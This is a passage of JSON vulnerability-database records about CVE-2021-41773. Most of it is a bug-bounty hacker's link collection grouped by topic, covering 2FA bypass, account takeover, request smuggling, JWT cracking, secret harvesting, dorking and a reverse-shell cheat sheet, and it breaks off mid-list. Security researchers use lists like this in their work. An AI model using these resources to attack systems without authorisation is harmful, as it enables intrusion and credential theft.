\u6f0f\u6d1e\u5229\u7528\u7684\u521d\u7ea7\u6e17\u900f\u6d4b\u8bd5\u3002\u540e\u7eed\u8fdb\u9636\u65b9\u5411\u5305\u62ec\u5185\u7f51\u96a7\u9053\u642d\u5efa\u3001\u57df\u73af\u5883\u63d0\u6743\u3001\u514d\u6740\u5bf9\u6297\u7b49\u2014\u2014\u6bcf\u6761\u8def\u7ebf\u90fd\u503c\u5f97\u6df1\u5165\u94bb\u7814\u3002\n", "creation_timestamp": "2026-06-22T10:00:53.000000Z"}, {"uuid": "5cf17235-5870-4b43-b24a-ba76b0738a90", "vulnerability_lookup_origin": "caeb2787-0d58-4236-9039-7c86c3e566f3", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-41773", "type": "exploited", "source": "https://vulnerability.circl.lu/known-exploited-vulnerabilities-catalog/25369a1f-b2dd-465d-8122-1d445773eaca", "content": "", "creation_timestamp": "2026-06-23T14:04:48.994679Z"}, {"uuid": "fa48180a-8002-4056-ad84-90c78a0a19ec", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "cve-2021-41773", "type": "seen", "source": "https://gist.github.com/morisono/78359e46c5369d24622657f014c7fa5d", "content": "                         \u2554\u2566\u2557\u2566 \u2566  \u2554\u2557 \u252c \u252c\u250c\u2500\u2510  \u2554\u2557 \u250c\u2500\u2510\u252c \u252c\u250c\u2510\u250c\u252c\u2510\u252c \u252c  \u2566\u2550\u2557\u250c\u2500\u2510\u250c\u2500\u2510\u250c\u2500\u2510\u252c \u252c\u252c\u2500\u2510\u250c\u2500\u2510\u250c\u2500\u2510\u250c\u2500\u2510\n                         \u2551\u2551\u2551\u255a\u2566\u255d  \u2560\u2569\u2557\u2502 \u2502\u2502 \u252c  \u2560\u2569\u2557\u2502 \u2502\u2502 \u2502\u2502\u2502\u2502\u2502 \u2514\u252c\u2518  \u2560\u2566\u255d\u251c\u2524 \u2514\u2500\u2510\u2502 \u2502\u2502 \u2502\u251c\u252c\u2518\u2502  \u251c\u2524 \u2514\u2500\u2510\n                         \u2569 \u2569 \u2569   \u255a\u2550\u255d\u2514\u2500\u2518\u2514\u2500\u2518  \u255a\u2550\u255d\u2514\u2500\u2518\u2514\u2500\u2518\u2518\u2514\u2518\u2534  \u2534   \u2569\u255a\u2550\u2514\u2500\u2518\u2514\u2500\u2518\u2514\u2500\u2518\u2514\u2500\u2518\u2534\u2514\u2500\u2514\u2500\u2518\u2514\u2500\u2518\u2514\u2500\u2518\n                                          \n                                           //\n                              ()==========>>======================================--\n                                           \\\\\n\n\n2FA Bypass\n  2fa bypass Mindmap https://www.mindmeister.com/1736437018?t=SEeZOmvt01 \n  2fa Bypass Methods https://workbook.securityboat.in/resources/web-app-pentest/business-logic-vulnerabilities/2fa-bypass\n\nAccount Takeovers\n  https://medium.com/@bathinivijaysimhareddy/tale-of-account-takeovers-part-2-9abf62de4ca3\n  https://kathan19.gitbook.io/howtohunt/subdomain-takeover/easy_methods\n\nAdminPanelFinder\n  \nadminphpfinder\nhttps://linux\nsecurity.expert/tools/admin-page-finder-php/\nAPI Security\n  https://www.cloudflare.com/learning/security/api/owasp-api-security-top-10/\n  Shadowe apis https://www.cloudflare.com/learning/access-management/what-is-shadow-it/\n  \nApi Keys\n  https://github.com/lanmaster53/recon-ng-marketplace/wiki/API-Keys\n\nAPI Hacking \nhttps://github.com/microsoft/restler-fuzzer\nhttps://github.com/hAPI-hacker/Hacking-APIs/fork\n\nAmass\n  https://securityweekly.com/wp-content/uploads/2021/05/AmassTechSegment-0.pdf\n\nAmass Scripting\\\nhttps://github.com/OWASP/Amass/tree/master/resources/scripts\nhttps://github.com/OWASP/Amass/blob/master/doc/scripting.md\namass scripting https://youtu.be/H1wdBgY1rtg?t=4987\n\n  Bug Bounty for Beginners Stream#4:AMASS, Subfinder, FFUF  https://www.youtube.com/watch?v=27zMfcr2fPE\n  https://hackbotone.com/blog/amass-osint-reconnaissance-tool/ \n  https://hakluke.medium.com/haklukes-guide-to-amass-how-to-use-amass-more-effectively-for-bug-bounties-7c37570b83f7\n  https://securityonline.info/amass-subdomain-enumeration/\n  https://github.com/OWASP/Amass/releases\n\nhttps://twitter.com/jeff_foley\n\nhttps://github.com/OWASP/Amass/blob/master/doc/scripting.md\nhttps://github.com/OWASP/Amass\nhttps://gist.github.com/sillydadddy/b1726c8e8ce281d55b82d4e2a1a610e8\nhttps://twitter.com/dokkillo/status/1305566849514471424\nhttps://github.com/PatrikFehrenbach/amass-tools/blob/master/assetfinder.ads\nhttps://github.com/OWASP/Amass#top-mentions\namass enum script command https://youtu.be/H1wdBgY1rtg?t=5408\nExample of api key configuration https://www.hahwul.com/2020/09/23/amass-go-deep-in-the-sea-with-free-apis/#chaos\n[31:33 / 1:56:06]\n[How to Use Amass Efficiently by @jeff_foley #NahamCon2020](https://youtu.be/H1wdBgY1rtg?t=1974)\n[OWASP AMass Boot Camp by Jeff Foley (Caffix)](https://www.youtube.com/watch?v=OOurkCPf2-I) \nAmass Tutorial https://github.com/OWASP/Amass/blob/master/doc/tutorial.md\nhttps://github.com/vortexau/dnsvalidator\nhttps://twitter.com/owaspamass\n\nAndroid\n  https://github.com/dzmitry-savitski/android-pentest-tool\n\nAngularJS\n  https://github.com/snoopysecurity/Public/blob/master/Old%20Presentations/MWRICON%202018/README.md\n  \nAuthentication Bypass Vulnerabilities\n\nAscii \n  https://github.com/heldersepu/hs-scripts/blob/master/ascii.txt\nAsset Monitoring  \n  https://github.com/ruevaughn/assetnote\n  https://github.com/yeswehack/pwn-machine\n  https://github.com/robre/jsmon\n\nAPI Hacking\n  https://github.com/Excloudx6/31-days-of-API-Security-Tips\n  https://gist.github.com/ruevaughn/51048bccdc753596443eca95cbf39356\n  https://apexvicky.medium.com/top-10-api-bugs-where-to-find-them-5dac338b3d73\n  https://attacker-codeninja.github.io/2021-08-28-Hacking-APIs-notes-from-bug-bounty-bootcamp/\n  https://dfir.blog/unfurl/\n  https://www.slideshare.net/programmableweb/why-api-security-is-more-complicated-than-you-think-and-why-its-your-1-priority\n  \nAmazon Cognito\nhttps://docs.aws.amazon.com/cognito-user-identity-pools/latest/APIReference/API_InitiateAuth.html\nhttps://docs.aws.amazon.com/cognito-user-identity-pools/latest/APIReference/CommonParameters.html\n  https://docs.aws.amazon.com/cognito/latest/developerguide/cognito-dg.pdf \n  https://docs.aws.amazon.com/cognito-user-identity-pools/latest/APIReference/API_GetUser.html\n  https://github.com/RhinoSecurityLabs/Security-Research/blob/master/tools/aws-pentest-tools/iam_user_enum/default-word-list.txt\n\nBlockchain\n  https://hash.ai/@b/uniswap\n  https://medium.com/immunefi/hacking-the-blockchain-an-ultimate-guide-4f34b33c6e8b\n  https://github.com/ruby/webrick/blob/master/lib/webrick/httprequest.rb }9\n  https://twitter.com/0xAsm0d3us/status/1438149310080712709 cdC\n\n\nBlogs\n  https://respectxss.blogspot.com/\n\nBrowsers\n  Save multiple pages as a single html page https://github.com/gildas-lormeau/SingleFile\n  https://bughacking.com/best-browsers-for-hackers/\n  https://hackaday.com/2022/01/17/hack-the-web-without-a-browser/\n  https://woob.tech/\n  https://github.com/moonD4rk/HackBrowserData\n  https://resources.infosecinstitute.com/topic/ethical-hacking-top-10-browser-extensions-for-hacking/\n  https://github.com/Excloudx6/browser-compat-data\n  https://httpwg.org/specs/rfc7230.html#header.transfer-encoding\n  https://developer.mozilla.org/en-US/docs/Glossary/Forbidden_header_name\n  https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Content-Length\n  https://stackoverflow.com/questions/978061/http-get-with-request-body?rq=1\n  https://datatracker.ietf.org/doc/html/rfc7230\n  https://groups.yahoo.com/neo/groups/rest-discuss/conversations/messages/9962\n  https://www.ietf.org/rfc/rfc2119.txt\n  https://www.elastic.co/guide/en/elasticsearch/guide/current/_empty_search.html\n  https://www.concise-courses.com/hacking-tools/web-browser-related-tools/\n  \nEthereum Hacking\nhttps://github.com/NafisiAslH/KnowledgeSharing\nhttps://github.com/SecurityInnovation/Smart-Contract-CTF\n https://twitter.com/CyberWarship/sta tus/1533710785914056705\n https://github.com/heldersepu/hs-scripts/blob/master/NodeJS/web3/VestingERC20.js\n \nBroken Access Control - https://cwe.mitre.org/data/definitions/1345.html\nBusines Logic\nhttps://shahmeeramir.com/breaking-the-web-with-logics-ce22e8a9c4e2\nBrowser Extensions - Chrome\n  Collusion - https://chrome.google.com/webstore/search/collusion\n  DotGit - https://chrome.google.com/webstore/detail/dotgit/pampamgoihgcedonnphgehgondkhikel?hl=en\n  Trufflehog https://chrome.google.com/webstore/detail/trufflehog/bafhdnhjnlcdbjcdcnafhdcphhnfnhjc\n  Tracy - https://github.com/nccgroup/tracy/wiki/Example-Workflows\n  \nBrowser Extensions - Firefox\n  Cookie Editor - https://addons.mozilla.org/en-US/firefox/addon/cookie-editor/\n  Bulk URL Opener - https://addons.mozilla.org/en-GB/firefox/addon/bulkurlopener/\n  Hacktoolshttps://addons.mozilla.org/en-US/firefox/addon/hacktools/\n  Tracy https://github.com/nccgroup/tracy/wiki/Example-Workflows\n\nBug Bounty Programs\n  https://blog.bugzero.io/bug-zero-is-going-to-pay-your-security-bill-for-2022-4b6396e2ee48\n  Bulk Load Programs https://gist.github.com/brevityinmotion/b86f7475d4cd2790003326a4d3a528ba\n  Google Acquisitions   https://opensourcelibs.com/lib/google-acquisitions\n  https://github.com/The-Art-of-Hacking/h4cker/tree/master/bug-bounties#bug-bounty-platforms\n  Discovery Header DoD - https://github.com/KingOfBugbounty/Discovery-Header-Bug-Bounty\n  King Recon DoD - https://github.com/KingOfBugbounty/KingRecon_DOD\n  Bentley Bug Bounty Program - https://www.bentley.com/en/products\n  https://lostsoulofawolf.medium.com/bug-bounty-how-to-get-private-invites-60062a5d0809\n  https://github.com/Hack-with-Github\n  Shopify\n    https://www.hulkapps.com/\n  BBP (Bug Bounty Programs!)\n  https://github.com/Excloudx6/KingRecon_DOD\n  https://github.com/bughunterlabs/open-bounty-targets/blob/main/dorks.txt\n  https://jsfiddle.net/ruevaughn/2mnq5vgf/9/\n  https://github.com/detectify/cs-challenge\n  https://github.com/projectdiscovery/public-bugbounty-programs\n  https://app.intigriti.com/programs/redbull/redbull/detailhttps://gist.github.com/ruevaughn/a365c7100f8dce26e550e2e3e239e138\n  https://huntr.dev/\n  https://gist.github.com/ruevaughn/a365c7100f8dce26e550e2e3e239e138\n  https://support.google.com/websearch/answer/2466433?hl=en\n  Dutch Gov - bug bounty scope https://gist.github.com/ruevaughn/f2d1157598a6156c3d51538b3fbd980c\n  https://gist.github.com/haxcited/e684df7f9ec210867d25f7ccac22c1d5\n  https://github.com/B3nac/Android-Reports-and-Resources\n  https://hackerone.com/alipay?type=team\n  https://render.alipay.com/p/c/183ecyeztvuo/dana-pay.html\n  https://github.com/The-Art-of-Hacking/h4cker  \n  Disclosure Assistance w/ Hackerone https://hackerone.com/disclosure-assistance/disclosure_assistance_requests/new?type=team\n  Disclose.io - program List Data](https://raw.githubusercontent.com/disclose/diodb/master/program-list.json)\n  Open Bug Bounty - openbugbounty.com\n\nBurp Collaborator ALternatives\n  https://github.com/anshumanbh/terraform-burp-collaborator\nhttps://honoki.net/2021/07/11/wilson-cloud-respwnder/\n  https://github.com/honoki/wilson-cloud-respwnder\n  Interactsh\n    https://github.com/4ARMED/interactsh\nBlogs\n  https://www.veracode.com/blog?utm_source=lpFooter&utm_medium=Website\n  http://10degres.net/posts/\n  https://www.secureideas.com/blog\n  \nBrute Forcing\n  Brutesubs\n    https://github.com/anshumanbh/brutesubs\n      https://github.com/anshumanbh/brutesubs/compare/master...exploitprotocol:brutesubs:master\n      https://github.com/APTreat/brutesubs\n      https://github.com/janmasarik/brutesubs\n      https://github.com/RyanLongVA/brutesubs\n     \nChaining Vulnerabilites\n   2022-style OAuth account takeover on Facebook - $45,000 bug bounty  https://www.youtube.com/watch?v=pk7oYuz4x0Q\n  \nCertificate Transparancy\nhttps://github.com/anshumanbh/terraform-burp-collaborator#using-a-proper-tls-certificate/\nhttps://www.rfc-editor.org/rfc/rfc5280#section-4.2.1.12\n   Attack Surface Management Series - EP1 - Certificate Transparency (In under 10 mins) - https://www.youtube.com/ watch?v=MGQ1GqmixY0\n\nCanaryTokens\nhttps://canarytokens.org/generate\n\nCerticiates\n  https://github.com/Echocipher/HackeroneSpider\nChecklists\n\nCheatsheet\nhttps://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet\nhttps://github.com/dgtlmoon/changedetection.io\n#### CVE\n\nCode Review\nhttps://www.youtube.com/watch?v=q5NqY2RRLj0\nhttps://www.youtube.com/watch?v=bfLQjZmD5jY&feature=youtu.be\n\nCookie \nCSRF Tokens\n  https://www.veracode.com/security/csrf-token\n  \nCors\n  csors https://chawdamrunal.medium.com/insecure-cors-configuration-808437d7cfd7\n  python cors_scan.py -u example.com -p http://127.0.0.1:8080 # To use socks5 proxy, install PySocks with pip install \n  https://jakearchibald.com/2021/cors/playground/\n  \nCSP https://www.keycdn.com/support/content-security-policy  \nhttps://www.bloggersideas.com/cspisawesome/\nhttps://content-security-policy.com/\n\nCourses \n  https://web.stanford.edu/class/cs253/\n  Nehamsec Udemy Course https://www.udemy.com/course/intro-to-bug-bounty-by-nahamsec/\n  \nCharacter Encodings\nhttps://stat545.com/character-encoding.html\n\nCharles Proxy\n  Use Charles Proxy to Reverse Engiener an IOS App https://www.youtube.com/watch?v=cvvPLlP4518&feature=emb_logo\n\nChecklists \n  https://pentestbook.six2dez.com/others/web-checklist\n  https://github.com/zactly/handouts/blob/master/generic_checks.md\n  https://linuxsecurity.expert/checklists/\n  https://apexvicky.medium.com/bug-bounty-methodology-web-vulnerabilities-checklist-86175dd29987\n  https://github.com/zactly/handouts/blob/master/example_template.md\n  https://github.com/zactly/handouts/blob/master/conferences/locomocosec22/notes.md \n  https://github.com/AnLoMinus/Bug-Bounty/tree/main/Checklist/Web%20App\n  https://github.com/security-checklist/php-security-check-list\n  https://apexvicky.medium.com/bug-bounty-methodology-web-vulnerabilities-checklist-86175dd29987\n\nCheckout \n  https://0day.hu/\n\nCheatsheets\n  https://pentester.land/cheatsheets\n  https://pentester.land/cheatsheets/2019/03/25/compilation-of-recon-workflows.html\n  https://pentester.land/cheatsheets/2019/04/15/recon-resources.html\n  https://pentester.land/cheatsheets/2018/11/02/open-redirect-cheatsheet.html\n  \n  https://securityzines.com/#comics \n  https://github.com/EdOverflow/bugbounty-cheatsheet\n  https://m0chan.github.io/2019/12/17/Bug-Bounty-Cheetsheet.html\n  \nCloud Hacking \n  https://github.com/janmasarik/generate-bucketnames\n  https://github.com/janmasarik/GCPBucketBrute\n  https://github.com/avicoder/notes/tree/master/Cloud\n  https://github.com/avicoder/notes\n  Pwned Cloud Society pdf https://www.slideshare.net/BryceKunz/pwned-cloud-society-bsidesslc-2017?from_action=save\n  Cloud Hacking  https://www.youtube.com/watch?v=ITSZ8743MUk\n  https://www.cloudvulndb.org/\nhttps://github.com/jordanpotti/CloudScraper \nhttps://github.com/appsecco/spaces-finder\n\nCode Review\n  https://raw.githubusercontent.com/zactly/handouts/master/Practical%20Secure%20Code%20Review%20-%20Whitepaper.pdf\n\nCodeql\n\nCookies\n  https://datatracker.ietf.org/doc/html/rfc6265#section-5.3w\n  https://github.com/jshttp/cookie\n\nCryptography\n  http://www.math.sci.hiroshima-u.ac.jp/m-mat/MT/ARTICLES/earticles.html#sfmt\n\nCTFs\nhttps://github.com/SecurityInnovation/Smart-Contract-CTF\n  Stripe ctf https://gist.github.com/evandrix/1901352\n  \nCWE \n  CWE-548: Exposure of Information Through Directory Listing -  https://cwe.mitre.org/data/definitions/548.html\n\n  Default creds \n    https://github.com/Viralmaniar/Passhunt\nDirectory Listing\n  Konan branch ofDeepsearch  https://github.com/rkreddypandu/Konan\n  deepsearch https://github.com/prosecurity/DeepSearch\n  Dirb  https://techyrick.com/dirb/\n  http://www.tecapi.com/public/rvr-view-attack-vector-gui.jsp?antiCsrfToken=null&attackVectorId=254 \n  http://projects.webappsec.org/w/page/13246922/Directory%20Indexing\n\nDjango \n  https://blog.sonarsource.com/disclosing-information-with-a-side-channel-in-django/?utm_source=twitter&utm_medium=social&utm_campaign=djangodictsort&utm_content=security&utm_term=mofu\n  \ndns Rebinding \n  https://bugs.chromium.org/p/project-zero/issues/detail?id=1524\n  https://portswigger.net/research/so-you-want-to-be-a-web-security-researcher#forgottenknowledge\n\nDorks\n  https://github.com/random-robbie/bugbountydork/fork\n  Aline - Dork Automator CLI - https://github.com/ferreiraklet/Aline\n  Brtwitter dork: https://mobile.twitter.com/i/events/1417062625997991936\n  https://www.infosecmatter.com/bug-bounty-tips-1/#5-top-25-open-redirect-dorks\n  Shifa123 BugBounty Dorks https://github.com/shifa123/bugbountyDorks/blob/master/bbdorks\n  Goop https://github.com/s0md3v/goop\n  Go-Dork \n    https://github.com/dwisiswant0/go-dork\n    https://github.com/dwisiswant0/go-dork/compare/master...babaloveyou:go-dork:master\n  https://bxmbn.medium.com/ultimate-tips-and-tricks-to-find-more-cross-site-scripting-vulnerabilities-d2913765e2d5\n  Open Bug Bounty Targets https://github.com/bughunterlabs/open-bounty-targets/blob/main/dorks.txt\n  uDork https://github.com/m3n0sd0n4ld/uDork\n  \nffuf\n  How to Ffuf https://www.bugcrowd.com/blog/how-to-ffuf-with-codingo/\n  How to use ffuf - Hacker Toolbox https://www.youtube.com/watch?v=aN3Nayvd7FU\n  Fuzzing / FFUF -> 5-30-22 Nehamssec stream covered fuzzing A LOT https://www.twitch.tv/videos/1312499916\n  Protips ffuf - tips and tricks https://www.youtube.com/watch?v=uwcRBSUl8e4&t=358s\n  Late to the party, or, in other words massive web enumeration using ffuf. http://0entropy.blogspot.com/2020/05/late-to-party-or-in-other-words-massive.html\n  https://gowthams.gitbook.io/bughunter-handbook/fuzzing-fuff\n  https://0xmahmoudjo0.medium.com/how-i-found-multiple-sql-injection-with-ffuf-and-sqlmap-in-a-few-minutes-9c3bb3780e8f\n \n Fingerprinting\n   Fingerpint JS https://github.com/fingerprintjs/fingerprintjs\n   Whatweb\n   Wappalyze\n   Webanalyze\n   \nFrameworks\n  axiom \n    https://github.com/pry0cc/axiom\n    https://github.com/pry0cc/axiom/blob/master/images/provisioners/default.json\n  BBRF Client - https://github.com/honoki/bbrf-client\n  BugBounty Toolkit - Hackersploit Framework - https://github.com/AlexisAhmed/BugBountyToolkit\n  Findomain https://github.com/Findomain/Findomain\n  Hive https://hexway.io/blog/new-update-hive/\n  Intrigue \n    https://core.intrigue.io/\n    https://core.intrigue.io/getting-started/\n  LazyRecon - https://github.com/nahamsec/lazyrecon\n  Mandiant - Web GUI Take decisive action with industry-leading intelligence  https://www.mandiant.com\n  MooseDojo - apt2 - Pentesters Framework nmap centered \n    apt2 https://buaq.net/go-249.html  \n    apt2 MooseDojo/apt2: automated penetration toolkit   \n\n  Nerve \n    https://github.com/PaytmLabs/nerve\n  Osmedeus \n    https://docs.osmedeus.org/workflow/default-workflow/\n    https://github.com/j3ssie/osmedeus \n    https://xploitlab.com/osmedeus-the-most-complete-reconnaissance-tool-and-vulnerability-scanning/\n    https://docs.osmedeus.org/web-ui/ \n    https://github.com/osmedeus/osmedeus-workflow/blob/main/general/subdomain.yaml \n    https://discord.com/invite/mtQG2FQsYA \n    https://docs.osmedeus.org/installation/practical-usage\n    https://docs.osmedeus.org/workflow/\n  Pwn Machine https://github.com/yeswehack/pwn-machine  \n  \n  ReconFTW - https://github.com/six2dez/reconftw\n  Recon NG\n    https://github.com/anshumanbh/domain\n    https://raw.githubusercontent.com/anshumanbh/domain/master/enumall.py\n    Github https://github.com/lanmaster53/recon-ng \n    Welcome to the Recon-ng Marketplace https://github.com/lanmaster53/recon-ng-marketplace\n    API Key list   https://github.com/lanmaster53/recon-ng-marketplace/wiki/API-Keys\n    Setup script for Regon-ng  and altdns https://github.com/jhaddix/domain\n  Reconness - https://github.com/reconness/reconness\n  Rengine - \n    https://github.com/yogeshojha/rengine\n    https://github.com/yogeshojha/rengine/commit/cf30e98e0440424019cb2cad600892ce405f850e\n    Default Config Engine Yaml file https://raw.githubusercontent.com/yogeshojha/rengine/master/default_yaml_config.yaml\n  Sniper - https://github.com/1N3/Sn1per\n  TIDoS Framework https://github.com/0xInfection/TIDoS-Framework\n  Trickest https://www.youtube.com/watch?v=fXwWinE0sSg\n  Vajra - https://github.com/r3curs1v3-pr0xy/vajra\n  WebhackerWeapons https://github.com/hahwul/WebHackersWeapons\n\nFreq\n  Removes unnecesary output and only outputs happy (for us) path https://github.com/takshal/freq/compare/main...dmonteirosouza:freq:main\n  Fork by Realgoose. Adds a User-Agent bxss as well as robots.txt sprayer check https://github.com/takshal/freq/compare/main...RealGoose:freq:main\n  Removed unnecesary output https://github.com/takshal/freq/compare/main...dmonteirosouza:freq:main\n  Fork by kg11102 KaioGomes. Adds User-Agent firefox and Referrer Header check. Changes alert check. Ignored expired SSL Cert (Probably to skip errors) https://github.com/takshal/freq/compare/main...kg1102:freq:main\n  \n  \nGatsby\nhttps://www.gatsbyjs.com/docs/conceptual/security-in-gatsby/#key-security\nhttps://www.gatsbyjs.com/blog/2019-04-06-security-for-modern-web-frameworks/\n\nGit/Source Code Secret Finding\nhttps://github.com/auth0/repo-supervisor\nhttps://blog.gitleaks.io/finding-secrets-with-regular-expressions-d90493bb3784\n  https://docs.github.com/en/code-security/secret-scanning/about-secret-scanning \n  https://github.com/takshal/Git-Finder \n  https://tillsongalloway.com/finding-sensitive-information-on-github/\n  https://secapps.com/tutorials/github-gist-recon\n  http://10degres.net/github-tools-collection/\n  https:// docs.github.com/en/rest/search\n  git-all-secrets\n    https://github.com/mhmdiaa/git-all-secrets\n    https://github.com/anshumanbh/git-all-secrets\n  https://www.ndss-symposium.org/wp-content/uploads/2019/02/ndss2019_04B-3_Meli_paper.pdf\n  https://github.com/koto/gitpillage\n  https://github.com/hisxo/gitGraber\n  https://github.com/gwen001/github-search\n  https://github.com/darkseed/gitpillage\n  Tools to Get sensitive info / secrets from https://twitter.com/soaj1664ashar/status/1176769454035939328\n  https://github.com/trufflesecurity/trufflehog\n  Why Exposed API Keys and Sensitive Data are Growing Cause for Concern https://www.programmableweb.com/news/why-exposed-api-keys-and-sensitive-data-are-growing-cause-concern/analysis/2015/01/05\n  Secret Hunting - Google Dorks, Git Dorks, Employee OSINT, etc\n  https://gist.github.com/markofu/549fbd287edf08c38e869dacc740e49de\n  https://github.com/aquasecurity/cloudsploit  \n  Trufflehog https://www.youtube.com/watch?v=aioheMi1Wko\n  https://sapt.medium.com/perform-information-gathering-using-following-tools-on-the-given-targets-cyber-sapiens-internship-12c858166008\n  +Github Wiki Auditor https://www.smeegesec.com/2019/03/auditing-github-repo-wikis-for-fun-and.html\n  https://github.com/SmeegeSec/GitHub-Wiki-Auditor \n  https://www.kitploit.com/2022/04/gitbleedtools-for-extracting-data-from.html\n  https://github.com/phlmox/jslinkfinderv2\n  https://exposingtheinvisible.org/guides/google-dorking/ <---- huge dorking guide!\n  https://github.com/phlmox/bingdork\n  \n  Git-Secrets\n   Adds supports for scanning aws, gcp, ads a gf regex pattern,   https://github.com/awslabs/git-secrets/compare/master...deshpandetanmay:git-secrets:master\n  Adds support for scaning entire drive, concept of install.uninstall, a global config file and a regex patterns file (nice!) https://github.com/awslabs/git-secrets/compare/master...dbrs:git-secrets:master\n  He adds one pattern to replace all the previous ones, and it adds a curl request. Other various changes. https://github.com/awslabs/git-secrets/compare/master...konakonall:git-secrets:master\n  \n  \n  https://github.com/toniblyx/my-arsenal-of-aws-security-tools\n  https://techvomit.net/aws-security/\n  https://github.com/gwen001/s3-bucketsdfinder.git\n  https://github.com/janmasarik/bucketsperm\n  https://github.com/phlmox/gdork\n  https://github.com/lc/secretz\n   https://github.com/kevthehermit/PasteHunter\n\ngitdump (TODO Take Notes and Implement from John Hammon Stream)\nhttps://github.com/topics/crawl?o=desc&s=updated\n\nGraphql\n  https://github.com/IvanGoncharov/graphql-voyager\n  https://github.com/Escape-Technologies/graphinder\n  https://github.com/gsmith257-cyber/GraphCrawler\n  Learn Graphql https://www.gatsbyjs.com/docs/conceptual/graphql-concepts/\n  That single GraphQL issue that you keep missing https://blog.doyensec.com/2021/05/20/graphql-csrf.html\n  https://blog.assetnote.io/2021/08/29/exploiting-graphql/\n  https://twitter.com/holybugx/status/1441460070387261440?s=21\n  https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/GraphQL%20Injection\n  https://www.programmableweb.com/news/what-graphql-and-how-did-it-evolve-rest-and-other-api-technologies/analysis/2019/07/31\n  https://github.com/KathanP19/HowToHunt/blob/master/GraphQL/GraphQL.md\n  https://swizec.com/blog/reverse-engineer-a-graphql-api-to-automate-love-notes-codewithswiz-24/\n  https://www.youtube.com/watch?v=cvvPLlP4518&feature=emb_logo\n  Graphwoof https://github.com/dolevf/graphw00f\n  Graphql Voyager https://ivangoncharov.github.io/graphql-voyager/\n  inQL graphql Burp Extension for burp [here](https://youtu.be/5qSq1S2sRC8?t=753)\n  \nGithubs \n    https://github.com/bbhunter\n\nHandson / Demos\nhttps://github.com/yandex/securitygym\n  aws test challenge http://flaws.cloud/\n  ABUH! https://darkrebel.net/metarget-framework-providing-automatic-consctions-of-vulnerable-infrastructures | metarget appv install dvwa | metarget install  cve-2021-2312\n  xss jigsaw - https://blog.innerht.ml/page/2/\n  https://google-gruyere.appspot.com/\n  https://hackxor.net/\n  https://github.com/takshal/FOR-FUN\n  Vulnrable Task Manger app https://github.com/redpointsec/vtm\nHacking Tools\n  https://reqbin.com\n  https://gist.github.com/bgoonz/524b4ea887b216b810d16429265a34a3\nHTTP\n  HTTP Pipelining in burp https://youtu.be/boHIjDHGmIo?t=204)\n\nHTTP Parameer Pollution \n  HPP  https://www.youtube.com/watch?v=QVZBl8yxVX0&t=13s\n  \nHTTP Request Smuggling\n\nHTTP Security Headers https://blog.detectify.com/2019/02/05/guide-http-security-headers-for-better-web-browser-security/\nHTTP HEader Smuggling https://github.security.telekom.com/2020/05/smuggling-http-headers-through-reverse-proxies.html\nhttp headers  https://www.ibm.com/docs/en/ibm-mq/7.5?topic=headers-content-type-http-entity-header\n   \nRequest Smuggling\nhttps://github.com/ruevaughn/websocket-connection-smuggler\nhttps://portswigger.net/daily-swig/how-to-perform-an-http-header-smuggling-attack-through-a-reverse-proxy\nhttps://twitter.com/albinowax/status/1263122811683553283\nNote: kitploit guys is the hackbogtone guy\nhttps://www.kitploit.com/2021/08/http-request-smuggling-http-request.html\nhttps://hackbotone.com/blog/http-request-smuggling-detection-tool/\nhttps://www.youtube.com/watch?v=mijOcGLneLU&t=303.658823s\n  Defparam Variant      - https://gist.github.com/defparam/840f7d9e31f77b3c5460c5921e0787ef/revisions\n  bbhunter mutations    - https://gist.github.com/bbhunter\n HTTP Request Smuggling - https://gist.github.com/ruevaughn/9c76260b412446f33b647c970bbb1001)\n\nHTTP Request Smuggling Tools\n  https://github.com/Sh1Yo/request_smuggler\n  \nIDOR\n  https://medium.com/pentesternepal/access-control-worth-2000-everyone-missed-this-idor-access-control-between-two-admins-9745eaf15d21\n  \nISS=\n\niis https://www.rapid7.com/db/vulnerabilities/spider-asp-dot-net-trace-axd/\n\n\nIos\n  https://medium.com/pentesternepal/access-control-worth-2000-everyone-missed-this-idor-access-control-between-two-admins-9745eaf15d21\n  https://havoc.app/package/crane\n  \n\nInsecure Deserialisation\nInsecure Deserialisation https://www.youtube.com/watch?v=SNi7gNkfLSM\n\nIP (INternet Protocol) https://youtu.be/C7CpfL1p6y0?t=320 \n                        \n\nJavascript\n  \ud83d\udd75\ufe0f Pinkerton is an JavaScript file crawler and secret finder developed in Python  https://github.com/oppsec/Pinkerton\n  Looking through javascript files live hacking https://youtu.be/xx5fF7i-dCQ?t=2582\n  https://www.bugbountyhunter.com/guides/?type=javascript_files\n  JAVASCRIPTRECON.md https://gist.github.com/m4ll0k/31ce0505270e0a022410a50c8b6311ff\n  https://portswigger.net/research/dom-based-angularjs-sandbox-escapes\n  Javascript for hackers https://www.youtube.com/watch?v=FTeE3OrTNoA\n  https://legallybreaking.com/discussion/88/full-featured-javascript-recon-automation-jsfscan-sh\n  https://labs.detectify.com/2016/12/08/the-pitfalls-of-postmessage/  \n  Javascript Enumeration https://www.youtube.com/watch?v=IsSWbVHk11M\n  https://cheatsheetseries.owasp.org/cheatsheets/Third_Party_Javascript_Management_Cheat_Sheet.html\n  unminifier http://dean.edwards.name/my/\n\n\n  https://github.com/robre/scripthunter\n\nJSON Attacks - JSON https://www.youtube.com/watch?v=oUAeWhW5b8c\n\nJWT\n  https://gist.github.com/ruevaughn/328067fadf926ddb788f98cd0d2d1a71 Crack JWT\n  https://medium.com/redteam/stealing-jwts-in-localstorage-via-xss-6048d91378a0\n  Security Weekly Unlocked: https://www.youtube.com/playlist?list=PLlPkFwQHxYE7nQtKNzjnsVyoSOu2K4l9e\n  https://anil-pace.medium.com/json-web-tokens-vs-oauth-2-0-85dd0b32057d\n  https://www.youtube.com/watch?v=muYmiEtPL8U JWT with bbking\n  JWT Traversal https://github.com/MoisesTapia/JwtTransversal\n\nMd5 \n  https://github.com/juuso/BozoCrack\n  \nMeg\n  https://github.com/blackhatethicalhacking/meg/compare/master...tomnomnom:meg:master\n  https://github.com/tomnomnom/meg/compare/master...3lpsy:megurl:master\n  https://github.com/tomnomnom/meg/compare/master...Cgboal:meg:master\n  https://github.com/tomnomnom/meg/compare/master...1ndianl33t:meg:master\n  https://github.com/tomnomnom/meg/compare/master...GwynHannay:meg:master\n  \nMethodologies (Hackers)\n   Cyberheartmi 